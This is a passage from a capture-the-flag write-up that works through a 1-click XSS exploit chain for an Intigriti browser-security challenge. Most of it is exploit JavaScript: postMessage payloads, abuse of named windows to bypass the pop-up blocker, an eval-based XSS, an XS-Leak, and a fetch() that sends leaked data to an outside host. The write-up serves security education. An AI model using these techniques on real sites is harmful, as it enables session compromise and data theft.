  if (e.data.leak) {
    leaks[e.data.i] = e.data.leak;
  } else if (e.data.match("^[a-f0-9]{8}$")) {
    // Mind stone payload needs to be short, so no room for `i:`
    leaks[1] = e.data;
  }
};

window.addEventListener("click", async () => {
  w = window.open(`https://challenge-1225.intigriti.io/challenge?${search}#PerfectlyBalanced`);

  await sleep(2000);  // Wait for window and power stone iframe to load
  // 1. Power Stone
  const payload = `<img src onerror="top.opener.postMessage({i:0,leak:performance.getEntries()[0].name.split('=')[1]},'*')">`;
  w[0].postMessage("A".repeat(payload.length) + "<", "*"); // shift the global regex .lastIndex
  w[0].postMessage(payload, "*");
}, {once: true});

After clicking and waiting a few seconds, this exploit logs 4 messages coming our way and fills the leaks array with:

['078e48fe', 'eaa01440', '07d2c757', '20c281fd', undefined, undefined]

Good start. We know the 6th time leak will be easy since it is just an XS-Leak we can perform at any time with iframes. So how do we integrate the last, 5th, soul stone?

The problem we left for later was the fact that it requires allowing pop-ups on the target site. This protection is enabled by default, so we cannot simply assume this will be the case for any victim we want to exploit. Let's take a look back at the code:

url = url.replaceAll('&', '').replaceAll('%26', '%23');
win = window.open(url, url.slice(0, 4));

setTimeout(() => {
  if (win.document.domain === 'google.com') {
    ...

An interesting fact is that the 2nd argument of window.open(), target, is filled in. Its value url.slice(0, 4) will always return "http". The documentation says:

MDN: A string, without whitespace, specifying the name of the browsing context the resource is being loaded into. If the name doesn't identify an existing context, a new context is created and given the specified name.

So this parameter looks for an existing window with the same name and reuses it if possible. The cool part about this is that if it doesn't require creating a new window, the pop-up blocker doesn't block it!

We just need to open another tab from our attacker's site with a 2nd click, using the name"http", so the target will reuse that. There is one more small condition, being: "if the opener of the same-named window is cross-origin, the window must be same-origin with the opener of the new window", found experimentally.

We (the opener of the same-named window) are cross-origin with the soul.challenge-1225.intigriti.io iframe (the opener of the new window), so we will have to make the window we open beforehand same-origin with https://soul.challenge-1225.intigriti.io.

const eval = `
Object.defineProperty(document, "domain", {
  value: 'google.com',
  writable: false,
});
onmessage = (e) => {
  fetch('https://example.com?leak='+e.data)
}
`;
const search = new URLSearchParams({
  ...
  // 5. Soul Stone
  soul: encodeURIComponent(`https://soul.challenge-1225.intigriti.io?` + new URLSearchParams({ eval }))
}

window.addEventListener("click", () => {
  // Open same-named window for soul stone beforehand so popup blocker doesn't have to be disabled for target
  w = window.open("https://soul.challenge-1225.intigriti.io", "http");

  window.addEventListener("click", async () => {
     w = window.open(`https://challenge-1225.intigriti.io/challenge?${search}#PerfectlyBalanced`);
    ...
  }, { once: true });
}, { once: true });

Running the exploit with these additions, we need to click once on the exploit page to open the "http" tab, then once more to run the actual exploit. The soul iframe can window.open() into our created tab without user activation, leaking the 5th part of the code as well through a fetch() request. And again, adding the 6th (time stone) part is trivial.

We have a problem, though. The description of the challenge states the following rule:

  • Should not require more than 1 click from the victim.

1-click

We have to reduce our working 2-click exploit to only 1. Sounds simple, but this is where I spent the majority of my time, because every solution I came up with barely didn't work for all kinds of reasons.

The hard part is that with 1 click, we can only open 1 extra tab to work with. Ideally, we have our exploit tab and the target tab interacting with each other. But the soul stone requires its own tab have the same name and origin. We can't iframe it because then our code is not evaluated:

// self==top ensures this document is top-level
if (evalParam && self==top && this==parent) {
  eval(evalParam);
}

We have to give up either our exploit page or the target page temporarily to act as a catcher for the soul stone window.open(). We can't navigate the target away because its code will be reset, so we have to navigate our exploit tab. This is possible by naming our exploit tab "http" and ensuring it is on the soul domain when the target is ready to open it.

This sounds fine because all that tab has to do is receive some postMessages to combine the code, which we can do with XSS. Let's see how viable it is by logging all messages we expect to see on eval:

const eval = `
Object.defineProperty(document, "domain", {
  value: 'google.com',
  writable: false,
});
onmessage = (e) => {
  console.log("RECEIVED", e.data)
}
`;

Then, on click, we open the challenge as usual, but quickly navigate the exploit page away to a same-origin soul URL:

window.addEventListener("click", async () => {
  w = window.open(`https://challenge-1225.intigriti.io/challenge?${search}#PerfectlyBalanced`);
  // Quickly navigate away to catch soul stone window.open() with same name & origin
  window.name = "http";
  location = "https://soul.challenge-1225.intigriti.io";
}, { once: true });

When we run our exploit now together with the postMessage tracker browser extensions to get some more debugging insights, the console output shows something peculiar:

Navigated to https://soul.challenge-1225.intigriti.io/
  diffwin→top e84a37e1
Navigated to https://soul.challenge-1225.intigriti.io/?eval=...
  diffwin→top j {"i":3,"leak":"c912cdf3"}
  RECEIVED {i: 3, leak: 'c912cdf3'}
  diffwin→top j {"i":2,"leak":"495363ba"}
  RECEIVED {i: 2, leak: '495363ba'}
  diffwin→top Soul: d2873837
  RECEIVED Soul: d2873837

All diffwin→top logs originate from postMessage tracker, and RECEIVED is the onmessage= listener we quickly register using eval. You'll notice we receive everything except the first mind stone postMessage. It is sent to the intermediate soul page, which we send ourselves to, not to the eval page where we can register the handler. This is a Race Condition of sorts, where the target sends the mind stone message before having executed the soul stone navigation that allows us to catch it.

If only we could execute code on a soul.challenge-1225.intigriti.io page that would allow us to catch postMessages as well as the window.open(..., "http")...
Well, that's actually exactly what we already have, our eval parameter!

Remember, we cannot open this ourselves because of the Referer check. We could, however, run just the soul stone exploit once on the challenge. Then, once we have that first XSS, start our exploit from the soul page and not worry about Race Conditions.

const search = new URLSearchParams({
  soul: encodeURIComponent(`https://soul.challenge-1225.intigriti.io?eval=debugger`)
});
window.name = "http";
location = `https://challenge-1225.intigriti.io/challenge?${search}#PerfectlyBalanced`;

This works and gives us XSS on the soul domain with 0 clicks yet. Now just open the challenge page from here and...

window.open("https://challenge-1225.intigriti.io/challenge")

Blocked opening 'https://challenge-1225.intigriti.io/' in a new window because the request was made in a sandboxed frame whose 'allow-popups' permission is not set.

Not so fast, because the Content-Security-Policy: sandbox allow-scripts allow-same-origin is set, we cannot open popups from our XSS. Worse, the opener = null happening on this page before we gain control makes it impossible to recover any window references we may have had before. We can't open a window reference from here!

While solving the challenge myself, I spent a lot of time here, trying to figure out any way to open a window again with the same name or some slightly different order of operations, but nothing worked fully.
The final solution is quite creative and is quite literally handed to us by the challenge every time we attempt it.

In all the postMessages we receive, there is a .source property being a window reference to the page that sent it (our target)! We can use this to recover the reference from the blocked-off eval page by reading .top off of it to get the top-level /challenge page. Then send whatever postMessages we want back to exploit it.

To make sure the target tab waits for us to be ready to receive even the first message, we can delay it server-side by redirecting to it only after a few seconds. At the same time, we prepare the eval page on the 1st tab.
To avoid reloading the 1st tab when the soul stone window.open()s into it, we can give it the current URL with a # appended so that it only performs a hashchange, not a full reload.

// Only load target page with exploits in 2nd tab after 2 seconds of hanging
const search = new URLSearchParams({
  ...
  soul: encodeURIComponent("https://soul.challenge-1225.intigriti.io/#"),  // Cause hashchange instead of reload
});

const url = `https://challenge-1225.intigriti.io/challenge?${search}#PerfectlyBalanced`;
const redirBlob = new Blob([`<script>
      setTimeout(() => {
        location = "${url}";
      }, 2000)
    <\/script>`,
  ],
  { type: "text/html" }
);
window.open(URL.createObjectURL(redirBlob));
// Quickly prepare eval page to catch postMessages from target tab
const searchEval = new URLSearchParams({
  soul: encodeURIComponent(`https://soul.challenge-1225.intigriti.io?` + new URLSearchParams({ eval }))
});
window.name = "http";
location = `https://challenge-1225.intigriti.io/challenge?${searchEval}#PerfectlyBalanced`;

In the eval, we now need to recover the window reference from e.source.top:

onmessage = (e) => {
  console.log("RECEIVED", e.data)
  if (!window.w) window.w = e.source.top;
}

Let's run it and see what happens now that we have an exploit page running through eval, which is always listening:

Console showing all messages received and window reference
Console showing all messages received and window reference

Perfect! We received all messages, even the first mind stone one. As you can see, the window reference w was also recovered, which we can now use to postMessage() our power stone exploit again, and at the end, send the code to get our final XSS.

We'll also add the time stone XS-Leak code now into the eval to get the 6th and final part of the code. After retrieving that, it is as simple as sending the full code with alert(origin) after it to complete the challenge.

const messageListener = (event) => {
  if (typeof event.data === 'string' && event.data.substring(0, 48) === code) {
    eval(event.data.substring(48));
  }
};
window.addEventListener('message', messageListener);

This is what our exploit with handling of all postMessages in the eval page is going to look like, together with the XS-Leak and sending the final code. This is possible now that we have a window reference.

Object.defineProperty(document, "domain", {
  value: 'google.com',
  writable: false,
});
window.leaks = Array(6).fill(undefined);
onmessage = async (e) => {
  console.log("RECEIVED", e.data)
  if (!window.w) {
    window.w = e.source.top;
    // 1. Power Stone
    const payload = `<img src onerror="top.opener.postMessage({i:0,leak:performance.getEntries()[0].name.split('=')[1]},'*')">`;
    w[0].postMessage("A".repeat(payload.length) + "<", "*"); // shift the global regex .lastIndex
    w[0].postMessage(payload, "*");
  }

  if (e.data.leak) {
    leaks[e.data.i] = e.data.leak;
  } else if (e.data.match("^[a-f0-9]{8}$")) {
    leaks[1] = e.data;
  } else if (e.data.includes("Soul")) {
    leaks[4] = e.data.match(/Soul: ([a-f0-9]+)/)[1];
  }

  // If we received all other parts of the code, run XS-Leak
  if (leaks.slice(0, 5).every(v => v)) {
    onmessage = null;

    // 6. Time Stone
    let timeCode = "";
    for (let i = 0; i < 8; i++) {
      timeCode = await findChar(timeCode)
      console.log(timeCode);
    }
    leaks[5] = timeCode;

    // We found the FULL CODE, now send the final XSS
    const code = leaks.join("");
    console.log(leaks, code);
    w.postMessage(code + "alert(origin)", "*");
  }
}

The full exploit code with everything explained in this writeup can be found in the gist below:
https://gist.github.com/JorianWoltjer/baf5597cf8ce91d6357734db06ba5574

Final XSS popup with code logs in Console
Final XSS popup with code logs in Console

We did it! A successful 1-click XSS that leaks all 6 parts of the code and combines them into one final alert.

Conclusion

What a journey. The setup of this challenge was one I had not seen before, but very much enjoyed. The ability to skip sections and leave them for later was a nice outcome of the independent iframe challenges. The final 1-click chain is arguably the most complex part, leading to a satisfying end.

We learned several new techniques. From HTML to JavaScript quirks, complex browser behaviors, and even a useful XS-Leak. A big "thank you" to the author @Renwa for creating this challenge, and I would love to see more like it in the future!